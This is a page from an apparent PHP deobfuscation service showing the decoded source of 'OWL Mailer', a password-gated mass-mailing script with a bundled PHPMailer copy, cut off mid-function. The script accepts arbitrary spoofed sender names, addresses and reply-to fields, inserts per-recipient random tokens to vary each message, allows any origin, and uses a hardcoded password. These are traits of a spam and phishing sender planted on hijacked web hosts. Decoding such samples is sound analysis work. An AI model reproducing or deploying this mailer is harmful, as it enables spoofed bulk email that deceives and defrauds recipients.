Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); set_time_limit(0); ini_set("\x6d\x65\x6d\x6f\162\171\x5f\154..

Decoded Output download

<?php 
 
 
session_start(); 
set_time_limit(0); 
ini_set("memory_limit", -1); 
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); 
header("Cache-Control: post-check=0, pre-check=0", false); 
header("Pragma: no-cache"); 
header("Access-Control-Allow-Origin: *"); 
$RNSkS = "123"; 
$qeeAj["version"] = "2.1"; 
$qeeAj["website"] = "owlmailer.io"; 
$RcI5o = $_SERVER["PHP_SELF"]; 
if (!(isset($_POST["action"]) && $_POST["action"] == "send")) { 
    goto EwSOO; 
} 
$GLOBALS["recipient"] = owlTrim($_POST["recipient"]); 
$GLOBALS["smtpAcct"] = owlTrim($_POST["smtpAcct"]); 
$GLOBALS["senderName"] = owlTrim($_POST["senderName"]); 
$GLOBALS["sendingMethod"] = owlTrim($_POST["sendingMethod"]); 
$GLOBALS["senderEmail"] = owlTrim($_POST["senderEmail"]); 
$GLOBALS["replyTo"] = owlTrim($_POST["replyTo"]); 
$jYNMF = owlTrim($_POST["messageLetter"]); 
$jYNMF = urlencode($jYNMF); 
$jYNMF = preg_replace("/%5C%22/", "%22", $jYNMF); 
$jYNMF = urldecode($jYNMF); 
$GLOBALS["messageLetter"] = stripslashes($jYNMF); 
$FG967 = owlTrim($_POST["altMessageLetter"]); 
$FG967 = urlencode($FG967); 
$FG967 = preg_replace("/%5C%22/", "%22", $FG967); 
$FG967 = urldecode($FG967); 
$GLOBALS["altMessageLetter"] = stripslashes($FG967); 
$GLOBALS["messageType"] = owlTrim($_POST["messageType"]); 
$eHbhw = owlTrim($_POST["encodingType"]); 
$GLOBALS["encodingType"] = stripslashes($eHbhw); 
$bqGuA = owlTrim($_POST["emailPriority"]); 
$GLOBALS["emailPriority"] = stripslashes($bqGuA); 
$wZEJb = owlTrim($_POST["messageSubject"]); 
$GLOBALS["messageSubject"] = stripslashes($wZEJb); 
processEmailSendingRequest(); 
EwSOO: 
$KeKVw = md5(__FILE__); 
if (isset($_SESSION[$KeKVw])) { 
    goto u6fK1; 
} 
$_SESSION[$KeKVw] = ''; 
u6fK1: 
if (!(!empty($RNSkS) && $_SESSION[$KeKVw] != $RNSkS)) { 
    goto Ws5g1; 
} 
if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $RNSkS) { 
    goto Cdk61; 
} 
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; 
exit; 
goto E1S3a; 
Cdk61: 
$_SESSION[$KeKVw] = $RNSkS; 
E1S3a: 
Ws5g1: 
function setSendingMethod() 
{ 
    $kDC1N = new PHPMailer(); 
    if (!($GLOBALS["sendingMethod"] == "smtp")) { 
        goto oqsKH; 
    } 
    $kDC1N->IsSMTP(); 
    $EQ5MH = explode(":", $GLOBALS["smtpAcct"]); 
    $kDC1N->Host = owlTrim($EQ5MH[0]); 
    $kDC1N->Port = owlTrim($EQ5MH[1]); 
    if (owlTrim($EQ5MH[2]) == "ssl") { 
        goto FKtWr; 
    } 
    if (owlTrim($EQ5MH[2]) == "tls") { 
        goto XiyGp; 
    } 
    $kDC1N->SMTPSecure = ''; 
    goto SRX0O; 
    XiyGp: 
    $kDC1N->SMTPSecure = "tls"; 
    SRX0O: 
    goto FCdzO; 
    FKtWr: 
    $kDC1N->SMTPSecure = "ssl"; 
    FCdzO: 
    if (!(isset($EQ5MH[3]) && isset($EQ5MH[4]))) { 
        goto miNnq; 
    } 
    $kDC1N->SMTPAuth = true; 
    $kDC1N->Username = owlTrim($EQ5MH[3]); 
    $kDC1N->Password = owlTrim($EQ5MH[4]); 
    miNnq: 
    oqsKH: 
    return $kDC1N; 
} 
function processEmailSendingRequest() 
{ 
    if (is_email($GLOBALS["recipient"])) { 
        goto Dq4_b; 
    } 
    exit("Incorrect Email"); 
    Dq4_b: 
    $kDC1N = setSendingMethod(); 
    $CGZ5n = owlClear($GLOBALS["senderEmail"], $GLOBALS["recipient"]); 
    $zUL9t = owlClear($GLOBALS["senderName"], $GLOBALS["recipient"]); 
    $zBzbX = owlClear($GLOBALS["replyTo"], $GLOBALS["recipient"]); 
    $hRpZv = $GLOBALS["recipient"]; 
    $q3Ca0 = owlClear($GLOBALS["messageSubject"], $GLOBALS["recipient"]); 
    $UlmlF = owlClear($GLOBALS["messageLetter"], $GLOBALS["recipient"]); 
    $bqmSG = owlClear($GLOBALS["altMessageLetter"], $GLOBALS["recipient"]); 
    $jf2sH = $GLOBALS["encodingType"]; 
    $VXzzq = $GLOBALS["messageType"]; 
    $bqGuA = $GLOBALS["emailPriority"]; 
    $kDC1N->setFrom($CGZ5n, $zUL9t); 
    if (!(isset($zBzbX) && $zBzbX !== '')) { 
        goto CSz5J; 
    } 
    $kDC1N->addReplyTo($zBzbX); 
    CSz5J: 
    $kDC1N->addAddress($hRpZv); 
    if (!(isset($q3Ca0) && $q3Ca0 !== '')) { 
        goto zp4dp; 
    } 
    $kDC1N->Subject = $q3Ca0; 
    zp4dp: 
    if (!(isset($UlmlF) && $UlmlF !== '')) { 
        goto PBuN_; 
    } 
    $kDC1N->Body = $UlmlF; 
    PBuN_: 
    if (!(isset($jf2sH) && $jf2sH !== '')) { 
        goto R1JoZ; 
    } 
    $kDC1N->CharSet = $jf2sH; 
    R1JoZ: 
    if (!(isset($bqGuA) && $bqGuA !== '')) { 
        goto jF0Ga; 
    } 
    $kDC1N->Priority = $bqGuA; 
    jF0Ga: 
    if (!(isset($bqmSG) && $bqmSG !== '')) { 
        goto FxEG7; 
    } 
    $kDC1N->AltBody = $bqmSG; 
    FxEG7: 
    if (!isset($_FILES["attachment"])) { 
        goto v45hs; 
    } 
    $KJHmb = 0; 
    AzjCK: 
    if (!($KJHmb < count($_FILES["attachment"]["name"]))) { 
        goto yUMCi; 
    } 
    if (!($_FILES["attachment"]["tmp_name"][$KJHmb] != '')) { 
        goto bAigZ; 
    } 
    $kDC1N->AddAttachment($_FILES["attachment"]["tmp_name"][$KJHmb], $_FILES["attachment"]["name"][$KJHmb]); 
    bAigZ: 
    x9PUN: 
    $KJHmb++; 
    goto AzjCK; 
    yUMCi: 
    v45hs: 
    if ($VXzzq == "html") { 
        goto tYeIa; 
    } 
    $kDC1N->IsHTML(false); 
    goto fA8_d; 
    tYeIa: 
    $kDC1N->IsHTML(true); 
    fA8_d: 
    if (!$kDC1N->send()) { 
        goto pEVar; 
    } 
    exit("OK"); 
    goto RzOu9; 
    pEVar: 
    exit($kDC1N->ErrorInfo); 
    RzOu9: 
} 
function owlTrim($jm30w) 
{ 
    return stripslashes(ltrim(rtrim($jm30w))); 
} 
function owlClear($izkEo, $SPj28) 
{ 
    $tCpWM = preg_replace("/([^@]*).*/", "$1", $SPj28); 
    $izkEo = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $izkEo); 
    $izkEo = str_replace("[-email-]", $SPj28, $izkEo); 
    $izkEo = str_replace("[-emailuser-]", $tCpWM, $izkEo); 
    $izkEo = str_replace("[-randomletters-]", randString("abcdefghijklmnopqrstuvwxyz", 8, 15), $izkEo); 
    $izkEo = str_replace("[-randomstring-]", randString("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15), $izkEo); 
    $izkEo = str_replace("[-randomnumber-]", randString("0123456789", 7, 15), $izkEo); 
    $izkEo = str_replace("[-randommd5-]", md5(rand()), $izkEo); 
    return $izkEo; 
} 
function randString($k4Js9, $pWfSG, $FrCUe) 
{ 
    $Z6HTu = rand($pWfSG, $FrCUe); 
    $RNSkS = ''; 
    $KJHmb = 0; 
    Sn14L: 
    if (!($KJHmb < $Z6HTu)) { 
        goto DoqBi; 
    } 
    $RNSkS .= $k4Js9[rand() % strlen($k4Js9)]; 
    gNd2K: 
    $KJHmb++; 
    goto Sn14L; 
    DoqBi: 
    return $RNSkS; 
} 
function is_email($OwqrC) 
{ 
    $RH1Tc = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i"; 
    if (!preg_match($RH1Tc, $OwqrC)) { 
        goto azwlc; 
    } 
    return TRUE; 
    azwlc: 
} 
class PHPMailer 
{ 
    const CHARSET_ISO88591 = "iso-8859-1"; 
    const CHARSET_UTF8 = "utf-8"; 
    const CONTENT_TYPE_PLAINTEXT = "text/plain"; 
    const CONTENT_TYPE_TEXT_CALENDAR = "text/calendar"; 
    const CONTENT_TYPE_TEXT_HTML = "text/html"; 
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "multipart/alternative"; 
    const CONTENT_TYPE_MULTIPART_MIXED = "multipart/mixed"; 
    const CONTENT_TYPE_MULTIPART_RELATED = "multipart/related"; 
    const ENCODING_7BIT = "7bit"; 
    const ENCODING_8BIT = "8bit"; 
    const ENCODING_BASE64 = "base64"; 
    const ENCODING_BINARY = "binary"; 
    const ENCODING_QUOTED_PRINTABLE = "quoted-printable"; 
    public $Priority; 
    public $CharSet = self::CHARSET_ISO88591; 
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT; 
    public $Encoding = self::ENCODING_8BIT; 
    public $ErrorInfo = ''; 
    public $From = "root@localhost"; 
    public $FromName = "Root User"; 
    public $Sender = ''; 
    public $Subject = ''; 
    public $Body = ''; 
    public $AltBody = ''; 
    public $Ical = ''; 
    protected $MIMEBody = ''; 
    protected $MIMEHeader = ''; 
    protected $mailHeader = ''; 
    public $WordWrap = 0; 
    public $Mailer = "mail"; 
    public $Sendmail = "/usr/sbin/sendmail"; 
    public $UseSendmailOptions = true; 
    public $ConfirmReadingTo = ''; 
    public $Hostname = ''; 
    public $MessageID = ''; 
    public $MessageDate = ''; 
    public $Host = "localhost"; 
    public $Port = 25; 
    public $Helo = ''; 
    public $SMTPSecure = ''; 
    public $SMTPAutoTLS = true; 
    public $SMTPAuth = false; 
    public $SMTPOptions = []; 
    public $Username = ''; 
    public $Password = ''; 
    public $AuthType = ''; 
    protected $oauth; 
    public $Timeout = 300; 
    public $dsn = ''; 
    public $SMTPDebug = 0; 
    public $Debugoutput = "echo"; 
    public $SMTPKeepAlive = false; 
    public $SingleTo = false; 
    protected $SingleToArray = []; 
    public $do_verp = false; 
    public $AllowEmpty = false; 
    public $DKIM_selector = ''; 
    public $DKIM_identity = ''; 
    public $DKIM_passphrase = ''; 
    public $DKIM_domain = ''; 
    public $DKIM_copyHeaderFields = true; 
    public $DKIM_extraHeaders = []; 
    public $DKIM_private = ''; 
    public $DKIM_private_string = ''; 
    public $action_function = ''; 
    public $XMailer = ''; 
    public static $validator = "php"; 
    protected $smtp; 
    protected $to = []; 
    protected $cc = []; 
    protected $bcc = []; 
    protected $ReplyTo = []; 
    protected $all_recipients = []; 
    protected $RecipientsQueue = []; 
    protected $ReplyToQueue = []; 
    protected $attachment = []; 
    protected $CustomHeader = []; 
    protected $lastMessageID = ''; 
    protected $message_type = ''; 
    protected $boundary = []; 
    protected $language = []; 
    protected $error_count = 0; 
    protected $sign_cert_file = ''; 
    protected $sign_key_file = ''; 
    protected $sign_extracerts_file = ''; 
    protected $sign_key_pass = ''; 
    protected $exceptions = false; 
    protected $uniqueid = ''; 
    const VERSION = "6.0.7"; 
    const STOP_MESSAGE = 0; 
    const STOP_CONTINUE = 1; 
    const STOP_CRITICAL = 2; 
    protected static $LE = "\xd\xa"; 
    const MAX_LINE_LENGTH = 998; 
    const STD_LINE_LENGTH = 76; 
    public function __construct($y6xmU = null) 
    { 
        if (!(null !== $y6xmU)) { 
            goto GK61c; 
        } 
        $this->exceptions = (bool) $y6xmU; 
        GK61c: 
        $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; 
    } 
    public function __destruct() 
    { 
        $this->smtpClose(); 
    } 
    private function mailPassthru($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx) 
    { 
        if (ini_get("mbstring.func_overload") & 1) { 
            goto MT3e7; 
        } 
        $q3Ca0 = $this->encodeHeader($this->secureHeader($q3Ca0)); 
        goto PsQSq; 
        MT3e7: 
        $q3Ca0 = $this->secureHeader($q3Ca0); 
        PsQSq: 
        if (!$this->UseSendmailOptions or null === $s2iYx) { 
            goto b5aMc; 
        } 
        $HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY, $s2iYx); 
        goto JcsDF; 
        b5aMc: 
        $HYIC3 = @mail($g7_oI, $q3Ca0, $UlmlF, $y_KXY); 
        JcsDF: 
        return $HYIC3; 
    } 
    protected function edebug($YX4WE) 
    { 
        if (!($this->SMTPDebug <= 0)) { 
            goto WKivN; 
        } 
        return; 
        WKivN: 
        if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { 
            goto TqVzB; 
        } 
        $this->Debugoutput->debug($YX4WE); 
        return; 
        TqVzB: 
        if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { 
            goto CYndx; 
        } 
        call_user_func($this->Debugoutput, $YX4WE, $this->SMTPDebug); 
        return; 
        CYndx: 
        switch ($this->Debugoutput) { 
            case "error_log": 
                error_log($YX4WE); 
                goto r6Esd; 
            case "html": 
                echo htmlentities(preg_replace("/[\r\n]+/", '', $YX4WE), ENT_QUOTES, "UTF-8"), "<br>
"; 
                goto r6Esd; 
            case "echo": 
            default: 
                $YX4WE = preg_replace("/\r\n|\r/ms", "
", $YX4WE); 
                echo gmdate("Y-m-d H:i:s"), "	", trim(str_replace("\xa", "
                   	                  ", trim($YX4WE))), "\xa"; 
        } 
        P4l8z: 
        r6Esd: 
    } 
    public function isHTML($Jt311 = true) 
    { 
        if ($Jt311) { 
            goto gj6iR; 
        } 
        $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; 
        goto O7Mb3; 
        gj6iR: 
        $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; 
        O7Mb3: 
    } 
    public function isSMTP() 
    { 
        $this->Mailer = "smtp"; 
    } 
    public function isMail() 
    { 
        $this->Mailer = "mail"; 
    } 
    public function isSendmail() 
    { 
        $FTXHS = ini_get("sendmail_path"); 
        if (false === stripos($FTXHS, "sendmail")) { 
            goto k8McC; 
        } 
        $this->Sendmail = $FTXHS; 
        goto Oepmw; 
        k8McC: 
        $this->Sendmail = "/usr/sbin/sendmail"; 
        Oepmw: 
        $this->Mailer = "sendmail"; 
    } 
    public function isQmail() 
    { 
        $FTXHS = ini_get("sendmail_path"); 
        if (false === stripos($FTXHS, "qmail")) { 
            goto FZnQc; 
        } 
        $this->Sendmail = $FTXHS; 
        goto zFkXQ; 
        FZnQc: 
        $this->Sendmail = "/var/qmail/bin/qmail-inject"; 
        zFkXQ: 
        $this->Mailer = "qmail"; 
    } 
    public function addAddress($w1_0x, $dEC3m = '') 
    { 
        return $this->addOrEnqueueAnAddress("to", $w1_0x, $dEC3m); 
    } 
    public function addCC($w1_0x, $dEC3m = '') 
    { 
        return $this->addOrEnqueueAnAddress("cc", $w1_0x, $dEC3m); 
    } 
    public function addBCC($w1_0x, $dEC3m = '') 
    { 
        return $this->addOrEnqueueAnAddress("bcc", $w1_0x, $dEC3m); 
    } 
    public function addReplyTo($w1_0x, $dEC3m = '') 
    { 
        return $this->addOrEnqueueAnAddress("Reply-To", $w1_0x, $dEC3m); 
    } 
    protected function addOrEnqueueAnAddress($unDTy, $w1_0x, $dEC3m) 
    { 
        $w1_0x = trim($w1_0x); 
        $dEC3m = trim(preg_replace("/[\r\n]+/", '', $dEC3m)); 
        $lLiqT = strrpos($w1_0x, "@"); 
        if (!(false === $lLiqT)) { 
            goto BKlUW; 
        } 
        $puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $unDTy, $w1_0x); 
        $this->setError($puwAg); 
        $this->edebug($puwAg); 
        if (!$this->exceptions) { 
            goto iSe3S; 
        } 
        throw new Exception($puwAg); 
        iSe3S: 
        return false; 
        BKlUW: 
        $s2iYx = [$unDTy, $w1_0x, $dEC3m]; 
        if (!($this->has8bitChars(substr($w1_0x, ++$lLiqT)) and static::idnSupported())) { 
            goto RwY46; 
        } 
        if ("Reply-To" != $unDTy) { 
            goto xbge0; 
        } 
        if (array_key_exists($w1_0x, $this->ReplyToQueue)) { 
            goto nr7lv; 
        } 
        $this->ReplyToQueue[$w1_0x] = $s2iYx; 
        return true; 
        nr7lv: 
        goto RYefs; 
        xbge0: 
        if (array_key_exists($w1_0x, $this->RecipientsQueue)) { 
            goto vOPl3; 
        } 
        $this->RecipientsQueue[$w1_0x] = $s2iYx; 
        return true; 
        vOPl3: 
        RYefs: 
        return false; 
        RwY46: 
        return call_user_func_array([$this, "addAnAddress"], $s2iYx); 
    } 
    protected function addAnAddress($unDTy, $w1_0x, $dEC3m = '') 
    { 
        if (in_array($unDTy, ["to", "cc", "bcc", "Reply-To"])) { 
            goto GTUHV; 
        } 
        $puwAg = sprintf("%s: %s", $this->lang("Invalid recipient kind"), $unDTy); 
        $this->setError($puwAg); 
        $this->edebug($puwAg); 
        if (!$this->exceptions) { 
            goto j676G; 
        } 
        throw new Exception($puwAg); 
        j676G: 
        return false; 
        GTUHV: 
        if (static::validateAddress($w1_0x)) { 
            goto QMiGI; 
        } 
        $puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $unDTy, $w1_0x); 
        $this->setError($puwAg); 
        $this->edebug($puwAg); 
        if (!$this->exceptions) { 
            goto QmFs2; 
        } 
        throw new Exception($puwAg); 
        QmFs2: 
        return false; 
        QMiGI: 
        if ("Reply-To" != $unDTy) { 
            goto HnKFb; 
        } 
        if (array_key_exists(strtolower($w1_0x), $this->ReplyTo)) { 
            goto mFPIa; 
        } 
        $this->ReplyTo[strtolower($w1_0x)] = [$w1_0x, $dEC3m]; 
        return true; 
        mFPIa: 
        goto gASZ0; 
        HnKFb: 
        if (array_key_exists(strtolower($w1_0x), $this->all_recipients)) { 
            goto wZwkR; 
        } 
        $this->{$unDTy}[] = [$w1_0x, $dEC3m]; 
        $this->all_recipients[strtolower($w1_0x)] = true; 
        return true; 
        wZwkR: 
        gASZ0: 
        return false; 
    } 
    public static function parseAddresses($se9jr, $G6VpU = true) 
    { 
        $UxZQI = []; 
        if ($G6VpU and function_exists("imap_rfc822_parse_adrlist")) { 
            goto nEBIb; 
        } 
        $kCHeS = explode(",", $se9jr); 
        foreach ($kCHeS as $w1_0x) { 
            $w1_0x = trim($w1_0x); 
            if (strpos($w1_0x, "<") === false) { 
                goto aFytp; 
            } 
            list($dEC3m, $SPj28) = explode("<", $w1_0x); 
            $SPj28 = trim(str_replace(">", '', $SPj28)); 
            if (!static::validateAddress($SPj28)) { 
                goto XnbiB; 
            } 
            $UxZQI[] = ["name" => trim(str_replace([""", "'"], '', $dEC3m)), "address" => $SPj28]; 
            XnbiB: 
            goto CBBk1; 
            aFytp: 
            if (!static::validateAddress($w1_0x)) { 
                goto k_qXH; 
            } 
            $UxZQI[] = ["name" => '', "address" => $w1_0x]; 
            k_qXH: 
            CBBk1: 
            VagcI: 
        } 
        zh4q3: 
        goto fGG_x; 
        nEBIb: 
        $kCHeS = imap_rfc822_parse_adrlist($se9jr, ''); 
        foreach ($kCHeS as $w1_0x) { 
            if (!(".SYNTAX-ERROR." != $w1_0x->host)) { 
                goto N9fsn; 
            } 
            if (!static::validateAddress($w1_0x->mailbox . "@" . $w1_0x->host)) { 
                goto kQL7x; 
            } 
            $UxZQI[] = ["name" => property_exists($w1_0x, "personal") ? $w1_0x->personal : '', "address" => $w1_0x->mailbox . "@" . $w1_0x->host]; 
            kQL7x: 
            N9fsn: 
            bwS9u: 
        } 
        RfsMu: 
        fGG_x: 
        return $UxZQI; 
    } 
    public function setFrom($w1_0x, $dEC3m = '', $Exle_ = true) 
    { 
        $w1_0x = trim($w1_0x); 
        $dEC3m = trim(preg_replace("/[\r\n]+/", '', $dEC3m)); 
        $lLiqT = strrpos($w1_0x, "@"); 
        if (!(false === $lLiqT or (!$this->has8bitChars(substr($w1_0x, ++$lLiqT)) or !static::idnSupported()) and !static::validateAddress($w1_0x))) { 
            goto UNDEd; 
        } 
        $puwAg = sprintf("%s (From): %s", $this->lang("invalid_address"), $w1_0x); 
        $this->setError($puwAg); 
        $this->edebug($puwAg); 
        if (!$this->exceptions) { 
            goto v39Pt; 
        } 
        throw new Exception($puwAg); 
        v39Pt: 
        return false; 
        UNDEd: 
        $this->From = $w1_0x; 
        $this->FromName = $dEC3m; 
        if (!$Exle_) { 
            goto tMG5P; 
        } 
        if (!empty($this->Sender)) { 
            goto Mw1P5; 
        } 
        $this->Sender = $w1_0x; 
        Mw1P5: 
        tMG5P: 
        return true; 
    } 
    public function getLastMessageID() 
    { 
        return $this->lastMessageID; 
    } 
    public static function validateAddress($w1_0x, $d_QrI = null) 
    { 
        if (!(null === $d_QrI)) { 
            goto A2nBJ; 
        } 
        $d_QrI = static::$validator; 
        A2nBJ: 
        if (!is_callable($d_QrI)) { 
            goto XW26s; 
        } 
        return call_user_func($d_QrI, $w1_0x); 
        XW26s: 
        if (!(strpos($w1_0x, "
") !== false or strpos($w1_0x, "
") !== false)) { 
            goto nsImy; 
        } 
        return false; 
        nsImy: 
        switch ($d_QrI) { 
            case "pcre": 
            case "pcre8": 
                return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $w1_0x); 
            case "html5": 
                return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $w1_0x); 
            case "php": 
            default: 
                return (bool) filter_var($w1_0x, FILTER_VALIDATE_EMAIL); 
        } 
        y_klO: 
        jgCZL: 
    } 
    public static function idnSupported() 
    { 
        return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); 
    } 
    public function punyencodeAddress($w1_0x) 
    { 
        $lLiqT = strrpos($w1_0x, "@"); 
        if (!(static::idnSupported() and !empty($this->CharSet) and false !== $lLiqT)) { 
            goto Ixmzu; 
        } 
        $facfs = substr($w1_0x, ++$lLiqT); 
        if (!($this->has8bitChars($facfs) and @mb_check_encoding($facfs, $this->CharSet))) { 
            goto ctx_J; 
        } 
        $facfs = mb_convert_encoding($facfs, "UTF-8", $this->CharSet); 
        $tAScD = 0; 
        $fk236 = idn_to_ascii($facfs, $tAScD, INTL_IDNA_VARIANT_UTS46); 
        if (!(false !== $fk236)) { 
            goto UMXJZ; 
        } 
        return substr($w1_0x, 0, $lLiqT) . $fk236; 
        UMXJZ: 
        ctx_J: 
        Ixmzu: 
        return $w1_0x; 
    } 
    public function send() 
    { 
        try { 
            if ($this->preSend()) { 
                goto Hfluj; 
            } 
            return false; 
            Hfluj: 
            return $this->postSend(); 
        } catch (Exception $CsLop) { 
            $this->mailHeader = ''; 
            $this->setError($CsLop->getMessage()); 
            if (!$this->exceptions) { 
                goto cWRLY; 
            } 
            throw $CsLop; 
            cWRLY: 
            return false; 
        } 
    } 
    public function preSend() 
    { 
        if ("smtp" == $this->Mailer or "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0) { 
            goto JUUsS; 
        } 
        static::setLE(PHP_EOL); 
        goto rkaS4; 
        JUUsS: 
        static::setLE("\xd
"); 
        rkaS4: 
        if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->Mailer and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) { 
            goto rQSgx; 
        } 
        trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING); 
        rQSgx: 
        try { 
            $this->error_count = 0; 
            $this->mailHeader = ''; 
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $s2iYx) { 
                $s2iYx[1] = $this->punyencodeAddress($s2iYx[1]); 
                call_user_func_array([$this, "addAnAddress"], $s2iYx); 
                y27D4: 
            } 
            UdzrV: 
            if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) { 
                goto NjOR7; 
            } 
            throw new Exception($this->lang("provide_address"), self::STOP_CRITICAL); 
            NjOR7: 
            foreach (["From", "Sender", "ConfirmReadingTo"] as $wDNeR) { 
                $this->{$wDNeR} = trim($this->{$wDNeR}); 
                if (!empty($this->{$wDNeR})) { 
                    goto BvRz6; 
                } 
                goto iqa6A; 
                BvRz6: 
                $this->{$wDNeR} = $this->punyencodeAddress($this->{$wDNeR}); 
                if (static::validateAddress($this->{$wDNeR})) { 
                    goto dkC5i; 
                } 
                $puwAg = sprintf("%s (%s): %s", $this->lang("invalid_address"), $wDNeR, $this->{$wDNeR}); 
                $this->setError($puwAg); 
                $this->edebug($puwAg); 
                if (!$this->exceptions) { 
                    goto e2tRf; 
                } 
                throw new Exception($puwAg); 
                e2tRf: 
                return false; 
                dkC5i: 
                iqa6A: 
            } 
            bsFgE: 
            if (!$this->alternativeExists()) { 
                goto p7jWd; 
            } 
            $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; 
            p7jWd: 
            $this->setMessageType(); 
            if (!(!$this->AllowEmpty and empty($this->Body))) { 
                goto utPuV; 
            } 
            throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL); 
            utPuV: 
            $this->Subject = trim($this->Subject); 
            $this->MIMEHeader = ''; 
            $this->MIMEBody = $this->createBody(); 
            $ltkTQ = $this->MIMEHeader; 
            $this->MIMEHeader = $this->createHeader(); 
            $this->MIMEHeader .= $ltkTQ; 
            if (!("mail" == $this->Mailer)) { 
                goto sEL8z; 
            } 
            if (count($this->to) > 0) { 
                goto zbjxy; 
            } 
            $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); 
            goto bNvVA; 
            zbjxy: 
            $this->mailHeader .= $this->addrAppend("To", $this->to); 
            bNvVA: 
            $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); 
            sEL8z: 
            if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) { 
                goto FN1pb; 
            } 
            $VTJ49 = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); 
            $this->MIMEHeader = rtrim($this->MIMEHeader, "
 ") . static::$LE . static::normalizeBreaks($VTJ49) . static::$LE; 
            FN1pb: 
            return true; 
        } catch (Exception $CsLop) { 
            $this->setError($CsLop->getMessage()); 
            if (!$this->exceptions) { 
                goto xcnXE; 
            } 
            throw $CsLop; 
            xcnXE: 
            return false; 
        } 
    } 
    public function postSend() 
    { 
        try { 
            switch ($this->Mailer) { 
                case "sendmail": 
                case "qmail": 
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); 
                case "smtp": 
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); 
                case "mail": 
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody); 
                default: 
                    $RvUuZ = $this->Mailer . "Send"; 
                    if (!method_exists($this, $RvUuZ)) { 
                        goto FLJEY; 
                    } 
                    return $this->{$RvUuZ}($this->MIMEHeader, $this->MIMEBody); 
                    FLJEY: 
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody); 
            } 
            Wr69u: 
            ymCP0: 
        } catch (Exception $CsLop) { 
            $this->setError($CsLop->getMessage()); 
            $this->edebug($CsLop->getMessage()); 
            if (!$this->exceptions) { 
                goto ciKz1; 
            } 
            throw $CsLop; 
            ciKz1: 
        } 
        return false; 
    } 
    protected function sendmailSend($y_KXY, $UlmlF) 
    { 
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { 
            goto P1OsP; 
        } 
        if ("qmail" == $this->Mailer) { 
            goto fygPq; 
        } 
        $ZHuaw = "%s -oi -t"; 
        goto Zdk1l; 
        fygPq: 
        $ZHuaw = "%s"; 
        Zdk1l: 
        goto FqJqv; 
        P1OsP: 
        if ("qmail" == $this->Mailer) { 
